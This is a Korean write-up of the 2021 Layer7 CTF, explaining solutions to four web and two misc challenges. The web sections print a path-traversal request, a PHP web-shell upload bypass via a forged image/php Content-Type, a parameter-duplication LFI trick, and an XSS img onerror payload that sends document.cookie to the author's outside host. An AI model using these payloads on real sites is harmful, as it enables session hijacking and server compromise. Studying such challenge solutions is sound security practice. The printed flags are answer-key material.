[CTF] 2021 Layer7 CTF͏͏ WriteUp
2021.11.20(토) 09:00:00 ~ 2021.11.20(토) 23:59:59
User: 9ucc1 (Point: 3333)
Place: 5th (고등부: 4th)
다른 분야 공부가 시급하네요.
[WEB] handmade - 100
📌 Summary
파일 읽어오는 서비스를 이용해서 flag 파일을 읽으면 되는 간단한 문제입니다.
📌 Analysis
페이지 디자인은 아래와 같습니다.
소스코드 구조는 아래와 같습니다.
제공된 소스코드 중, app.py에 아래와 같은 함수가 존재합니다.
def make_response(req_data):
try:
method = req_data['method']
req_uri = req_data['uri'].path
qstring = req_data['uri'].query
if method not in ALLOWED_METHOD:
return not_allow_method(ALLOWED_METHOD)
if method == 'GET':
doc_path = DOCUMENT_DIR + req_uri
if os.path.isdir(doc_path) and doc_path[::-1][0] != '/':
doc_path += '/'
if os.path.basename(doc_path) == '':
doc_path += 'index.html'
if not os.path.isfile(doc_path):
return not_found()
content = open(doc_path, 'rb').read()
content_type = mimetypes.guess_type(doc_path)[0]
except Exception as err:
return internal_server_error(err)
return normal_response(content, content_type)
사용자가 GET 방식으로 보낸 패킷의 Path 앞에 DOCUMENT_DIR를 붙이고, 해당 경로에 존재하는 파일을 읽어 반환해줍니다.
( 여기서 DOCUMENT_DIR = '/service/htdocs' )
Ex) GET /read HTTP/1.1
- req_uri = /read
- doc_path = DOCUMENT_DIR + req_uri = "/service/htdocs" + "/read"
- doc_path 파일 존재 여부 확인 후, 있다면 파일 Read 후 반환
📌 Exploit
최상위 경로에 있는 flag 파일 (/flag)를 읽는 것이 목표이므로 파일 읽어오는 기능을 이용하여 flag 을 읽을 수 있습니다.
# Target
req_uri = /../../flag 가 되면 읽어올 수 있다.
# Request Packet
GET /../../flag HTTP/1.1
# Response Packet
HTTP/1.1 200 OK
Content-Length: 41
Content-Type: text/plain
Connection: close
LAYER7{1e3047432d00a223a3d2d62944b199df}
FLAG: LAYER7{1e3047432d00a223a3d2d62944b199df}
[WEB] Easy Web - 494
📌 Summary
LFI 로 php 소스코드를 읽고 로직을 분석한 후 파일 업로드 기능에 취약한 부분을 찾아내서 웹쉘을 업로드하는 문제입니다.
- LFI in view.php
- File Extention bypass
📌 Analysis
페이지 구조를 분석하면 다음과 같습니다.
index.php 페이지는 아래와 같습니다.

upload, view 페이지 하이퍼링크가 존재합니다.
upload.php 페이지는 아래와 같습니다.

파일 업로드 기능이 구현되어있습니다.
아래의 소스코드를 통해 업로드 가능한 파일은 png 또는 jpeg 확장자만 허용되는 것으로 예측할 수 있었습니다.

성공적으로 업로드가 완료되면 view.php 에서 file 내용을 볼 수 있는 하이퍼링크가 나옵니다.

파일명은 랜덤 해시값으로 변환되고, 파일 확장자는 그대로 따라옵니다.

다음은 view.php 입니다.

file 파라미터로 파일명을 전달하여 파일 내용을 읽어올 수 있습니다.
📌 Exploit
view.php 에서 LFI(Local File Inclusion)가 발생합니다.
file=../upload.php"
의 형태로 php 파일 소스코드를 읽어올 수 있습니다.
upload.php 소스코드를 확인해보면 ./includes/func.php 파일을 include 하고 있다는 사실을 알 수 있습니다.
include('./includes/func.php');
$uploads_dir = './uploads';
또한 업로드된 파일의 위치는 uploads 폴더라는 것을 알 수 있습니다.
func.php 파일 또한 LFI 로 소스코드를 읽어보았습니다.
<!-- func.php -->
<?php
error_reporting( E_ALL );
ini_set( "display_errors", 0 );
function filename_ext_parse($input){
if(strpos($input, '.')){
$tmp = explode('.', $input);
return $tmp[1];
}
else{
return null;
}
}
function filetype_ext_parse($input){
if(strpos($input, '/')){
$tmp = explode('/', $input);
if($tmp[0] != "image"){
return null;
}
return $tmp[1];
}
else{
return null;
}
}
function gen_filename($ext){
return md5(random_bytes(32)) . '.' . $ext;
}
function filtering($filename){
return strpos(file_get_contents($filename), '<?');
}
?>
upload.php 파일 업로드 처리 과정은 다음과 같습니다.
- 업로드 된 파일이 존재하는지 검사
- 파일 사이즈 검사
- 파일의 확장자 존재 여부 검사
- 확장자가 존재하지 않는다면 파일의 type을 검사
- '/' 로 파일 type을 나누어, image/???? 형태인지 검사
- 위의 형태가 맞다면 '/' 뒷부분(????)을 확장자로 인식
- 확장자가 존재한다면 $allow_ext 에 존재하는 확장자인지 검사
- 확장자가 존재하지 않는다면 파일의 type을 검사
- 랜덤 md5 값 + 확장자 의 형태로 파일명 변환
- ./uploads/$filename 형태로 저장 후, 페이지 반환
file type은 요청 패킷에서 컨트롤 할 수 있고, 앞부분만 image/ 형태라면 뒷부분을 검증 없이 확장자로 인식시킬 수 있습니다.
따라서 image/php 의 형태로 type을 전송하면 php 파일을 업로드 할 수 있습니다.
이 과정에 맞게 php 파일을 업로드하기 위한 Exploit 순서는 다음과 같습니다.
1. system() 함수를 실행할 수 있는 PHP 웹쉘 파일 생성
2. file 업로드 시, 파일명에 확장자 제거
3. 패킷 캡쳐 후, Content-Type: image/php 로 변경
4. uploads/~~~~.php 로 접근하면 php 실행
FLAG: Layer7{V3ry_3A$y_4nD_$IMP1e_WE85h3lL_Ch411EN6E!!}
[WEB] My little markdown parser - 856
📌 Summary
LFI 로 php 소스코드를 읽고 로직을 분석한 후 XSS 가능한 포인트를 찾아, admin bot의 쿠키값을 Hijacking하는 문제입니다.
- LFI in view.php
- XSS → Cookie Hijacking
📌 Analysis
페이지 구조를 분석하면 다음과 같습니다.
1. index.php

위와 같이 마크다운 입력폼이 구현되어있습니다.
2. index.php → submit → write.php

입력한 마크다운 텍스트가 파일로 저장되고, 파일명이 반환됩니다.
3. view.php

filename 파라미터를 통해 파일명을 전달하면 해당 파일을 출력해줍니다.
3. report.php

파일명을 전달하면 admin 봇이 해당 파일을 열람합니다.
report 기능이 존재하는 것을 보고 XSS → Cookie Hijacking 문제라는 것을 예상했습니다.
📌 Exploit
이 문제도 EasyWeb 문제과 비슷하게 view.php 에서 LFI가 발생합니다.
이 취약점으로 확인할 수 있는 php 소스코드를 모두 읽어들였습니다.
이 중, write.php 소스코드는 아래와 같습니다.
<!-- write.php -->
<?php
error_reporting( E_ALL );
ini_set( "display_errors", 0 );
include('./includes/parse.php');
$parse = new markdown();
$filename = md5(random_bytes(32));
$fp = fopen('./uploads/' . $filename,'w');
fwrite($fp, $parse->test($_POST['contents']));
fclose($fp);
echo "<p>write success</p><p>your file name is {$filename}</p><br><a href=view.php>view</a>";
?>
write.php 에서 parse.php 파일을 include 하고, uploads 폴더에 사용자가 입력한 텍스트 파일을 생성합니다.
parse.php 의 markdown 객체는 사용자 입력 값 전처리, 마크다운 형식 검증, 마크다운 변환까지 이루어집니다.
이 중, tag_check() 함수가 마크다운 형식 검증 및 변환이므로 XSS 포인트를 찾아보았습니다.
# markdown 클래스 => tag_check() 함수 중, 일부
# 마크다운 이미지 삽입 처리 부분
else if(preg_match('/^\\!\\[([A-Za-z0-9_\\/\\:\\.]*)\\]\\(([A-Za-z0-9_\\/\\:\\.]*)\\)/',$input)){
$alt_res = null;
$src_res = null;
if(substr_count($input, ']') < 2){
$alt_res = substr($input, strrpos($input, '[') + 1, strrpos($input, ']') - strrpos($input, '[') - 1); // 70
}
if(substr_count($input, ')') < 2){
$src_res = substr($input, strrpos($input, '(') + 1, strrpos($input, ')') - strrpos($input, '(') - 1);
}
if($src_res && $alt_res){
return "<img src='" . $src_res . "' alt='" . $alt_res . "'>";
}
else{
return "<p>parsing error</p>";
}
}
img 태그의 src, alt attribute 부분에 검증 없이 데이터를 넣어주고 있습니다.
입력값에 '(싱글쿼터)를 삽입하면 정규표현식에 인식이 되지 않기 때문에 형태를 맞춰주기 위해 []()을 2번 사용해야 합니다.
또한, 소괄호와 대괄호 끝부분만 필터링 하고있기 때문에 index를 맞춰주면 count 검증 우회가 가능합니다.
<!-- 목표 태그 형태 -->
<img src='{없는페이지}' alt='' onerror='location.href="http://9ucc1.xyz/?cookie="+document.cookie;' />
Payload 는 아래와 같습니다.
[' onerror='location.href="<http://9ucc1.xyz/?cookie=>"+document.cookie;abcd
FLAG: Layer7{xss_WiTh_MY_FAUl7_in_m@RkDoWN!!}
[WEB] selfmade - 944
📌 Summary
Python urllib.parse 라이브러리의 특성을 이용하여 파일명 검증 함수를 우회하고 flag 파일을 읽어오는 문제입니다.
- Not Enough Verification in Reading Files
- Difference Between app.check_params() & urllib.parse.parse_qs()
📌 Analysis
위에서 언급했던 handmade [100] 문제와 구조가 비슷합니다.
소스코드가 수정된 몇가지 부분이 존재하지만, 문제 풀이에 도움되는 부분만 확인해보겠습니다.
In app.py file
check_params() 함수는 사용자에게 입력받은 파라미터를 검증합니다.
소스코드 내용은 아래와 같습니다.
# check_params()
def check_params(params):
if params.strip() == '':
return True
params = dict((item.split('=')[0], item.split('=')[1]) for item in params.split('&'))
if 'no' in params:
if not params['no'].isdigit():
return False
if 'url' in params:
if not (params['url'].startswith('http://') or params['url'].startswith('https://')):
return False
return True
no 파라미터 값은 숫자데이터이여야 하고, url 파라미터엔 http:// 또는 https:// 로 시작하는 문자열이 존재해야 합니다.
make_response() 함수는 사용자의 요청 패킷에 따라 응답을 반환해줍니다.
handmade 문제와 비교하면 Request Method 방식에 따른 코드처리가 달라졌습니다. (GET, POST)
# make_response() (GET Method 처리 파트)
if method == 'GET':
doc_path = DOCUMENT_DIR + '/' + os.path.basename(req_uri)
if os.path.basename(req_uri) == '':
doc_path += 'index.html'
if not os.path.isfile(doc_path):
return not_found()
content = open(doc_path).read()
content_type = mimetypes.guess_type(doc_path)[0]
handmade 문제에서 GET으로 요청을 보낸 경우 발생하던 LFI 취약점을 basename() 함수를 호출하여 방어했습니다.
( ../../flag 가 입력된 경우, basename() 을 호출하면 기본 이름, 즉 파일명 flag 가 반환됨 )
다음은 POST Method로 요청을 보냈을 경우 처리 과정입니다.
# make_response() (POST Method 처리 파트)
if method == 'POST':
post_body = req_data['body']
if 'Content-Type' in req_data['headers']:
if req_data['headers']['Content-Type'] == 'application/json':
body = json.loads(req_data['body'])
post_body = urllib.parse.urlencode(body)
if not check_params(post_body):
return normal_response('403 forbidden')
data = urllib.parse.parse_qs(post_body)
if req_uri == '/read':
if 'no' not in data:
content = json.dumps({"message": "Enter the 'no' parameter."})
return normal_response(content, 'application/json')
content_file = CONTENT_DIR + '/' + data['no'].pop()
if not os.path.isfile(content_file):
return not_found()
content = {"status": "ok", "result": open(content_file).read()}
return normal_response(content, 'application/json')
elif req_uri == '/proxy':
if 'url' not in data:
content = json.dumps({"message": "Enter the 'url' parameter."})
return normal_response(content, 'application/json')
try:
proxy_response = requests.get(data['url'].pop(), allow_redirects=False, verify=False, timeout=1).text
content = json.dumps({"status": "ok", "result": proxy_response})
except:
content = json.dumps({"status": "fail", "result": "timeout"})
return normal_response(content, 'application/json')
else:
return not_found()
POST 방식인 경우, 요청 패킷의 body 부분으로 전달된 데이터를 post_body 변수에 넣습니다.
이 때 Content-Type: application/json 인 경우, 딕셔너리로 변환 후 urlencode() 함수를 호출하여 query string 형태로 변환합니다. (Ex: "no=1&url=https://dohunny.tistory.com/")
데이터 전처리 후, check_params()을 호출하여 검증 과정을 거칩니다.
검증을 거친 후 2가지 경우로 나누어 처리됩니다.
1. 요청 path가 /read 이면 CONTENT_DIR + no 파라미터 데이터 로 file을 읽어들인다.
2. 요청 path가 /proxy 이면 url 파라미터 데이터로 get 요청을 보낸 후 반환한다.
📌 Exploit
POST 방식 → /read 페이지에서 basename() 함수를 호출하지 않고 경로를 합치기 때문에 LFI 가 발생할 수 있습니다.
하지만 no 파라미터는 숫자여야 하므로 ../../flag 와 같은 형태의 문자열은 데이터로 전달할 수 없습니다... ㅡ,.ㅡ
꽤 많은 시간동안 여러가지 시도를 통해 솔루션을 도출했습니다.
Python에선 문자열 내부에 메타문자로 16진수값이 들어있으면 문자로 변환해서 인식합니다.
\x 와 같은 메타문자를 사용하지 않고 %를 사용하여 URL Encoding 값으로 나타내면 파이썬은 당연히 아래와 같이 그대로 출력해줍니다.
하지만 parse_qs()는 데이터 전처리 과정에서 URL Decoding 을 수행하기 때문에 % 형태 또한 인식할 수 있습니다...!

또한 no 파라미터를 가져올 때 사용하는 방법이 data['no'].pop() 이므로 끝 값(../../flag)이 반환됩니다.
따라서 /read 경로로 아래와 같은 payload를 보내면 FLAG를 얻을 수 있습니다.
no=1&%6e%6f=../../flag
FLAG: LAYER7{623005611a405b69743aa7d2a679eab0}
[MISC] easy_calc - 350
📌 Summary
문제 서버에 접속하여 후위표기식 50문제를 10초안에 해결하는 간단한 문제입니다.
📌 Analysis
후위 표기식을 풀고 전송하면 해결되는 문제입니다.
📌 Exploit
Python pwntools 을 사용하여 스택 코드로 해결했습니다.
# solve.py
from pwn import *
context.log_level = 'debug'
class Stack:
def __init__(self):
self.list = list()
def push(self, data):
self.list.append(data)
def pop(self):
return self.list.pop()
class Calculator:
def __init__(self):
self.stack = Stack()
def calculate(self, string):
list = string.split()
for x in list:
if x == '+':
b = self.stack.pop()
a = self.stack.pop()
self.stack.push(a + b)
elif x == '-':
b = self.stack.pop()
a = self.stack.pop()
self.stack.push(a - b)
elif x == '*':
b = self.stack.pop()
a = self.stack.pop()
self.stack.push(a * b)
elif x == '/':
b = self.stack.pop()
a = self.stack.pop()
self.stack.push(a / b)
else:
self.stack.push(float(x))
return float(self.stack.pop())
calc = Calculator()
p = remote("ctf.layer7.kr",19308)
while True:
data = p.recvrepeat(0.1).decode()
if len(data.split(':')) != 3:
break
expr = " ".join(data.split(': ')[1].split('\\n')[0].strip())
p.sendline(str(int(calc.calculate(expr))).encode())
p.interactive()
FLAG : LAYER7{yOur_po5tF1x_Ca1c_Ma5T3r!}
[MISC] flag is an open door - 559
📌 Summary
주어진 논리 회로도의 결과가 참이 되도록 하는 비트(2진수)를 구하면 되는 문제입니다.
📌 Analysis
또한 비트를 구한 상태에서 서버에 입력할 때에는 integer 형으로 변환해서 입력해줘야 합니다.
📌 Exploit
별다른 풀이법 없이 온라인 논리회로도 시뮬레이터에 직접 그려서 해결했습니다...ㅜㅜ
Ref: http://www.falstad.com/circuit/circuitjs.html
맨 왼쪽이 초록색으로 끝나면 1, 회색으로 끝나면 0입니다. (전기 흐름 여부)
11100100010111110011 이라는 2진수 값을 얻을 수 있었습니다.
integer: 935411
FLAG: LAYER7{D1d_y0u_do_th1s_by_hand?_H0p3_N0t_HAHA}